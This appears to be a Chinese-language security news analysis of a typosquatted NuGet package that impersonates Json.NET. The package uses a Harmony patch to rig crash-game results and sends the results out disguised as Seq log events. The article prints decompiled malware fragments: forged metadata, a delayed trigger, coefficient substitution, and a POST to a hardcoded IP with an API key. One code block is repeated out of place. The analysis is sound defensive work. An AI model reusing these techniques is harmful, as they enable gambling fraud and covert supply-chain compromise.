套件建構與身分偽造

軟體供應鏈攻擊若是將雙用途功能嵌入廣泛使用的函式庫中,即構成高衝擊性的威脅途徑。報告探討此類攻擊的具體案例,該攻擊經由一個變種仿冒(typosquatted)的 NuGet 套件傳遞,該套件冒充熱門的 JSON 序列化函式庫,同時植入執行時期方法修補(runtime method patching)邏輯,目標鎖定特定的遊戲邏輯方法。分析完全基於該識別出的 Artifact 集中的套件中繼資料、組件組成與反編譯的 payload 片段。討論重點在於觸發條件、使用 Harmony 的修補機制、決定性的係數替換演算法、偽裝的資料外洩通道,以及後續套件版本間觀察到的演變。

如果你的 NuGet 相依性裡藏了一個會改寫 IL 的 Harmony 修補,你該怎麼發現它? | 資訊安全新聞

套件建構與身分偽造

此惡意套件以 Newtonsoftt.Json.Net 這個識別碼發行。其 .nuspec 檔案系統性地偽造了合法 Json.NET 專案的身分。作者(authors)欄位設為原始維護者的名稱,專案網址(projectUrl)指向官方專案網站,標題(title)宣告為「Json.NET」,授權(license)宣稱是 MIT,並且選用 11.0.x 系列的版本編號,使其在依賴圖表中被檢視時顯得合理。唯一最能揭示問題的 Artifact 是每個已發布版本中內嵌的儲存庫網址(repository URL);該網址指向一個內部 Team Foundation Server 路徑,該路徑明確指出內含 crash 遊戲邏輯的目標專案。

  1. <!-- Excerpt from the package nuspec metadata -->
  2. <package xmlns="http://schemas.microsoft.com/packaging/2013/05/nuspec.xsd">
  3. <metadata minClientVersion="2.12">
  4. <id>Newtonsoftt.Json.Net</id>
  5. <version>11.0.11</version>
  6. <title>Json.NET</title>
  7. <authors>James Newton-King</authors>
  8. <!-- Project URL forged to the legitimate Json.NET site -->
  9. <projectUrl>https://www.newtonsoft.com/json</projectUrl>
  10. <description>Json.NET is a popular high-performance JSON framework for .NET</description>
  11. <!-- Tags and copyright further reinforce the impersonation -->
  12. <tags>json</tags>
  13. <copyright>Copyright © James Newton-King 2008</copyright>
  14. </metadata>
  15. </package>

在 lib/net8.0 目錄下,該套件提供了三個組件,NuGet 用戶端會自動參考這些組件:一個被木馬化的 Newtonsoft.Json 13.0.3 分支(內含觸發條件)、一個實作修補與資料外洩邏輯的隨附 payload 組件,以及一份 HarmonyLib 執行時期修補函式庫的合法複本。由於主處理程序會載入 lib 資料夾下的所有組件,因此 payload 無需開發者額外操作便常駐於程式中。

觸發條件與延遲修補安裝

進入點是 JsonConvert.DefaultSettings 中被改寫的屬性設定器(property setter)。當應用程式將一個設定委派(configuration delegate)指派給此屬性時——這是一種常見的啟動模式——該設定器會捨棄呼叫者提供的 ContractResolver,取而代之的是攻擊者控制的 CamelCasePropertyNamesContractResolver,接著呼叫一個 payload 方法,該方法會排程在計時器上執行 Harmony 修補。

  1. //* Trigger embedded in the forked JsonConvert class.
  2. //* The original user-supplied settings are overwritten so that
  3. //* serialization continues to function while the malicious
  4. //* DefaultValues.Set() call is executed.
  5. public static Func<JsonSerializerSettings>? DefaultSettings
  6. {
  7. get => _defaultSettings;
  8. set
  9. {
  10. _defaultSettings = value;
  11. /* Force a known resolver so downstream serialization
  12. remains observably correct. */
  13. JsonConvert.DefaultSettings = () => new JsonSerializerSettings
  14. {
  15. ContractResolver = new CamelCasePropertyNamesContractResolver
  16. {
  17. NamingStrategy = new CamelCaseNamingStrategy
  18. {
  19. ProcessDictionaryKeys = false
  20. }
  21. }
  22. };
  23. /* Schedules the Harmony patch with a deliberate delay
  24. (10 minutes in the final generation). */
  25. DefaultValues.Set();
  26. }
  27. }

延遲對於隱蔽性至關重要:當計時器觸發時,應用程式已完成啟動程序,任何診斷日誌都已記錄了乾淨的初始化過程,且操作人員不太可能正在監控該處理程序。唯有目標型別與方法能透過 reflection 解析時,才會套用修補程式;在主機不包含特定遊戲邏輯組件的情況下,payload 保持休眠,函式庫行為完全如同正常的 JSON 序列化器。

對結果生成方法的 Harmony 修補

在所檢查的每個版本中,payload 都使用相同的 Harmony 實例識別碼與相同的目標簽章:

  • 型別:Digitain.FG.SharedCrash.GameLogic.SharedCrashRules
  • 方法:GenerateGameResult
  • Harmony 實例:「com.example.harmony」
  1. //* Trigger embedded in the forked JsonConvert class.
  2. //* The original user-supplied settings are overwritten so that
  3. //* serialization continues to function while the malicious
  4. //* DefaultValues.Set() call is executed.
  5. public static Func<JsonSerializerSettings>? DefaultSettings
  6. {
  7. get => _defaultSettings;
  8. set
  9. {
  10. _defaultSettings = value;
  11. /* Force a known resolver so downstream serialization
  12. remains observably correct. */
  13. JsonConvert.DefaultSettings = () => new JsonSerializerSettings
  14. {
  15. ContractResolver = new CamelCasePropertyNamesContractResolver
  16. {
  17. NamingStrategy = new CamelCaseNamingStrategy
  18. {
  19. ProcessDictionaryKeys = false
  20. }
  21. }
  22. };
  23. /* Schedules the Harmony patch with a deliberate delay
  24. (10 minutes in the final generation). */
  25. DefaultValues.Set();
  26. }
  27. }

在最早的世代中,Harmony transpiler 會改寫 GenerateGameResult 的中繼語言(Intermediate Language),定位出小數點比較運算碼(decimal comparison opcodes)與常數 crash 係數的載入,然後替換成攻擊者選擇的值。後續世代則將脆弱的 IL 改寫替換為簡單的 postfix,在原始運算完成後覆寫方法的回傳值。

  1. /* Postfix used in the final generation.
  2. The counter I bounds the number of rigged rounds;
  3. Values.L is a compile-time constant (32). */
  4. private static void TR(ref object __result)
  5. {
  6. if (++I < Values.L)
  7. {
  8. decimal num = (decimal)__result;
  9. try
  10. {
  11. DateTime utcNow = DateTime.UtcNow;
  12. /* Index into pre-computed coefficient tables by
  13. month modulo table length and an hour-dependent
  14. profile that treats 22:00 UTC specially. */
  15. int num2 = utcNow.Month % Values.Q.Length;
  16. int num3 = ((utcNow.Hour != 22) ? 1 : 0);
  17. __result = (decimal)(Values.Q[num2][num3][I]
  18. + (double)utcNow.DayOfWeek
  19. * Values.Z[num2][I][(utcNow.Day - 1) / 7 % 4]);
  20. }
  21. catch
  22. {
  23. /* On any exception restore the original result
  24. so the game continues without visible failure. */
  25. __result = num;
  26. }
  27. }
  28. }

係數表格是 UTC 月份、星期幾、月份中的第幾週以及小時設定檔的確定性函數。由於只有有限回合數被更改,且更改遵循僅攻擊者知曉的排程,因此對已發布的倍數分佈進行匯總統計測試,不太可能揭露此操控行為。

偽裝的資料外洩通道

後期套件世代增加了一個對外路徑,將每個被操控的係數傳送至遠端端點。該請求刻意塑造成類似傳送至結構化日誌伺服器的遙測資料:路徑為 /api/events/raw,Content-Type 為 application/json,並帶有一個自訂標頭 X-Seq-ApiKey,內含固定金鑰。JSON body 遵循 Serilog 事件結構描述,將係數嵌入 MessageTemplate 屬性中。因此,檢查網路流量的觀察者會看到看似一般的應用程式日誌,而非命令與控制(command-and-control)活動。

  1. /* Exfiltration fragment (strings originally base64-encoded).
  2. The POST mimics a Seq ingest request. */
  3. StringContent stringContent = new StringContent(
  4. JsonSerializer.Serialize(new
  5. {
  6. Events = new[]
  7. {
  8. new
  9. {
  10. Timestamp = DateTime.UtcNow.ToString("yyyy-MM-ddTHH:mm:ss.fffZ"),
  11. Level = "Information",
  12. MessageTemplate = "Coefficient: {Result} | ThreadId: {ThreadId}",
  13. Properties = new
  14. {
  15. Result = r,
  16. Source = "Coefficient",
  17. ThreadId = Environment.CurrentManagedThreadId
  18. }
  19. }
  20. }
  21. }),
  22. Encoding.UTF8,
  23. "application/json");
  24. /* Header chosen to match Seq authentication convention. */
  25. stringContent.Headers.Add("X-Seq-ApiKey", "theperfectheist2025");
  26. await _h.PostAsync(
  27. "http://185.126.237.64:5341/api/events/raw",
  28. stringContent);

各套件版本的演變軌跡

總共發布了七個版本。最早的版本採用重度混淆,僅實作本機係數替換,並將替換後的值輸出至主控台——這對於在開發主機上測試修補的內部人員來說很有用。中繼版本加入了利用 reflection 的網路載入,使得 System.Net.Http 型別不會出現在靜態中繼資料中。最終版本則完全移除混淆,從脆弱的 IL transpiler 轉為簡潔的 postfix,並穩定了 Seq 風格的資料外洩。此演進過程展示了在隱蔽性與可靠性兩方面的反覆改良,同時保留了相同的核心目標方法與 Harmony 識別碼。

sequenceDiagram participant App as Host Application participant Json as Trojanized JsonConvert participant Timer as Delayed Timer participant Harm as Harmony Instance participant Game as SharedCrashRules.GenerateGameResult participant C2 as Camouflaged Endpoint App->>Json: Assign DefaultSettings Json->>Json: Replace ContractResolver Json->>Timer: Schedule DefaultValues.Set() Note over Timer: Delay (minutes to next day) Timer->>Harm: Create "com.example.harmony" Harm->>Game: Locate MethodInfo via AccessTools Harm->>Game: Install postfix / transpiler loop Each subsequent game round App->>Game: Invoke GenerateGameResult Game->>Harm: Postfix intercepts __result Harm->>Harm: Substitute coefficient from tables Harm->>C2: POST Seq-shaped event (later gens) end

上圖捕捉了後期 payload 世代共通的執行時期控制流程。關鍵觀察在於,惡意行為受到設定點觸發條件(Configuration-point trigger)以及目標方法存在性檢查(Target-method presence check)的雙重控管;因此,在任何不包含特定遊戲邏輯組件的主機上,該套件仍然是一個功能完整的 JSON 函式庫。

對供應鏈防禦的啟示

此攻擊說明了數個防禦挑戰。首先,metadata 偽造成本低廉,但當偽造欄位符合自動化相依性掃描工具的預期時,卻非常有效。其次,執行時期修補函式庫(如 HarmonyLib)本身具有合法的雙用途性質,因此其存在本身不能被視為惡意的明確指標。第三,延遲啟動加上針對特定主機的方法檢查,使得許多靜態分析與早期執行時期分析技術失效。因此,有效的緩解措施需要持續監控套件 metadata 中是否有異常的儲存庫網址、對執行反射方法繫結(reflective method binding)的組件進行行為分析,以及實施網路出口政策,將 Seq 相容端點視為不受信任的對象,除非明確列入允許清單。

總而言之,所分析的 NuGet 套件展現的是一個精心設計的精準工具,而非一般的資訊竊取程式。透過在所有非目標主機上維持完整的功能正確性、延遲啟動,以及偽裝其網路流量,該 payload 在被利用的詐騙窗口期結束之前,有很高的機率能保持不被偵測到。